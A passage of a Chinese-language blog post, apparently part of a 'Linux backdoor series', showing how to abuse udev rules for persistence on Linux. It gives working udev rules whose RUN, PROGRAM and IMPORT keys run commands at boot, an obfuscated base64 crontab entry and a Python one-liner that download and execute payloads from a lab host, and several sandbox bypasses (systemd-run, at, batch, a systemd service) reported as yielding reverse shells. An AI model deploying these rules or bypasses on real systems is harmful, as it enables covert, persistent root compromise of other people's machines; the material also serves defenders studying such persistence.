    • 当设置为 early(默认)时,会在解析规则时进行名称解析;
    • 设置为 late 时,将对每个事件单独进行名称解析;
    • 设置为 never 时,则永不解析名称,此时所有设备都将归 root 所有。 此选项与命令行中的 --resolve-names= 相同。
  • timeout_signal=指定当工作超时时 systemd-udevd 发送给工作线程的信号。 注意:无论是工作线程还是派生进程,都会使用此信号来终止。 默认信号为 SIGKILL

从配置项来看,也就 timeout_signal 似乎还有点对外部造成影响的可能,但是用来做权限维持较为困难

4. 规则文件

根据之前的案例,我们了解到 RUN 这个键可以执行系统命令,接下来我们探究一下这些键还能做哪些有利于权限维持的操作,有哪些限制

RUN

执行外部程序或脚本(type 支持 program 或 builtin

SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", ATTRS{idProduct}=="6545", ACTION=="add", RUN+="/bin/touch /tmp/flag"
udev 后门 | Linux 后门系列

PROGRAM

执行外部程序并捕获输出(通常与 RESULT 配合使用)

SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", ATTRS{idProduct}=="6545", ACTION=="add", PROGRAM="/usr/bin/env bash -c '/bin/touch /tmp/flag-program && echo FLAG=touched'"
udev 后门 | Linux 后门系列

IMPORT

导入外部数据(如 IMPORT{program}="/sbin/blkid -o udev -p $tempnode"

SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", ATTRS{idProduct}=="6545", ACTION=="add", IMPORT{program}="/usr/bin/env bash -c '/bin/touch /tmp/flag-import && echo FLAG=touched'"
udev 后门 | Linux 后门系列

ENV

ENV 设置的环境变量只是局部环境变量,在 udev 事件处理期间生效,不会共享到整个操作系统的全局环境中,所以只能做辅助

udev 后门 | Linux 后门系列
udev 后门 | Linux 后门系列

5. 探索限制

大背景是系统重启,想要达到的效果有两个,看看在这两个效果中是否存在限制

  • 向任意文件内写入内容
  • 反弹 shell 持久化控制

向任意文件写入内容

以写入计划任务为例

准备木马
udev 后门 | Linux 后门系列
设置下载服务器
udev 后门 | Linux 后门系列
配置 udev 规则

既然我们希望的是系统重启后会自动执行,可以进行如下配置

ACTION=="add", SUBSYSTEM=="dmi", \
RUN+="/bin/sh -c 'echo \"Ki8zICogKiAqICogcm9vdCAvYmluL3NoIC1jICJjdXJsIC1zZiBodHRwOi8vMTAuMjExLjU1LjE1OjgwODAvbm9wLXRlc3QuZWxmIC1vIC90bXAvbm9wLXRlc3QuZWxmICYmIGNobW9kICt4IC90bXAvbm9wLXRlc3QuZWxmICYmIC90bXAvbm9wLXRlc3QuZWxmIgoK\" | base64 -d >> /etc/crontab'"
udev 后门 | Linux 后门系列

重启电脑

udev 后门 | Linux 后门系列

计划任务成功写入,等待几分钟后

udev 后门 | Linux 后门系列

成功完成持久化控制

当然也可以写入 ssh key 等方式来进行持久化

直接反弹 shell

udev 后门 | Linux 后门系列
python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.211.55.15:8080/HyiFfPWD', context=ssl._create_unverified_context());exec(r.read());"

udev  配置文件内容如下

ACTION=="add", SUBSYSTEM=="block", \
RUN+="/usr/bin/env python3 -c \"import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.211.55.15:8080/HyiFfPWD', context=ssl._create_unverified_context());exec(r.read());\""
udev 后门 | Linux 后门系列

经过一系列测试,发现直接反弹 shell 并不行

查询 archlinux 的文档看到如下描述

https://man.archlinux.org/man/udev.7.en

udev 后门 | Linux 后门系列

这只能用于非常短时间运行的前台任务。长时间运行事件进程可能会阻止此设备或从属设备的所有进一步事件。 请注意,由于systemd-udevd. service上强制使用默认沙箱,因此不允许在udev规则中运行访问网络或装载/卸载文件系统的程序。 不允许启动守护进程或其他长时间运行的进程;分叉的进程,无论是否分离,都将在事件处理完成后无条件终止。为了从udev规则激活长时间运行的进程,请提供一个服务单元,并使用UNOEMD_WANTS设备属性从udev设备中拉入该服务单元。有关详细信息,请参见systemd.device(5)。

解决这个问题有几种方案

通过 Systemd 服务委托任务

创建 Systemd 服务(例如 /etc/systemd/system/device-handler.service):

[Unit]
Description=Handle device event
After=network-online.target
Wants=network-online.target
Requires=network-online.target

[Service]
Type=oneshot
User=root
Environment=PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/snap/bin
ExecStart=/opt/udev-test.sh
TimeoutStartSec=120

[Install]
WantedBy=multi-user.target

编写服务脚本 (/opt/udev-test.sh)

udev 后门 | Linux 后门系列

修改 udev 规则,触发服务:

ACTION=="add", SUBSYSTEM=="block", TAG+="systemd", ENV{SYSTEMD_WANTS}="device-handler.service"
udev 后门 | Linux 后门系列

重新启动系统

udev 后门 | Linux 后门系列

成功获取到反弹 shell

通过外部程序反弹shell

可以通过 at 来完成外部脚本执行,默认 Centos 和 Rocky Linux 中存在 at ,Ubuntu 中需要安装一下

参考 https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/

ACTION=="add", SUBSYSTEM=="net", RUN+="/usr/bin/at -M -f /opt/udev-test.sh now"
udev 后门 | Linux 后门系列

重启操作系统

udev 后门 | Linux 后门系列

成功获取到反弹 shell

也可以通过 systemd-run 来启动一个临时的 systemd 服务单元

ACTION=="add", SUBSYSTEM=="net", \
  RUN+="/bin/systemd-run --unit=download-exec-task --after=network-online.target --wants=network-online.target /bin/bash -c 'curl -sL http://10.211.55.15:8081/nop-test.elf -o /tmp/nop-test.elf && chmod +x /tmp/nop-test.elf && /tmp/nop-test.elf'"
udev 后门 | Linux 后门系列

重启系统

ACTION=="add", SUBSYSTEM=="net", \
  RUN+="/bin/systemd-run --unit=download-exec-task --collect --property=After=network-online.target --property=Wants=network-online.target --property=StandardOutput=journal /bin/bash -c 'curl -sL http://10.211.55.15:8081/nop-test.elf -o /tmp/nop-test.elf && chmod +x /tmp/nop-test.elf && /tmp/nop-test.elf'"
udev 后门 | Linux 后门系列

重启系统

udev 后门 | Linux 后门系列

成功获取到 shell

通过 batch 实现执行外部程序

ACTION=="add", SUBSYSTEM=="net", RUN+="/bin/sh -c 'echo \"curl -sL http://10.211.55.15:8081/nop-test.elf -o /tmp/nop-test.elf && chmod +x /tmp/nop-test.elf && /tmp/nop-test.elf\" | batch'"
udev 后门 | Linux 后门系列
udev 后门 | Linux 后门系列

成功获取到 shell

这些方法的大概思路就是让恶意进程不再是 udev 的子进程,实现进程分离,进而绕过限制

探索 PROGRAM 限制

PROGRAM 是否也存在网络和进程时间的限制呢?

SUBSYSTEM=="net", ACTION=="add", PROGRAM="/usr/bin/env bash -c 'curl -sL http://10.211.55.15:8081/nop-test.elf -o /tmp/nop-test.elf && chmod +x /tmp/nop-test.elf && /tmp/nop-test.elf && echo FLAG=touched'"
udev 后门 | Linux 后门系列
udev 后门 | Linux 后门系列

看来 PROGRAM 也是有和 RUN 一样的限制,Archlinux 介绍比较朦胧

udev 后门 | Linux 后门系列

尝试之前的方法绕过

ACTION=="add", SUBSYSTEM=="net", PROGRAM="/bin/sh -c 'echo \"curl -sL http://10.211.55.15:8081/nop-test.elf -o /tmp/nop-test.elf && chmod +x /tmp/nop-test.elf && /tmp/nop-test.elf && echo FLAG=touched\" | batch'"
udev 后门 | Linux 后门系列
udev 后门 | Linux 后门系列

之前的方法也是可以绕过的

探索 IMPORT 限制

经过测试 IMPORT 与 PROGRAM 和 RUN 是一样的

0x04 总结 

在本篇文章中,我们讨论了 udev 是干嘛的、它如何工作、它用来做持久化的可能性以及绕过系统默认限制的方法,通过 udev 的规则文件,攻击者确实可以实现复杂的权限维持工作,是一个比较理想的权限维持项

PDF 版本下载

https://pan.baidu.com/s/1pWHP0gltWijricH5OD8GVA?pwd=5dui 提取码: 5dui

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月26日23:38:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   udev 后门 | Linux 后门系列https://cn-sec.com/archives/3775815.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.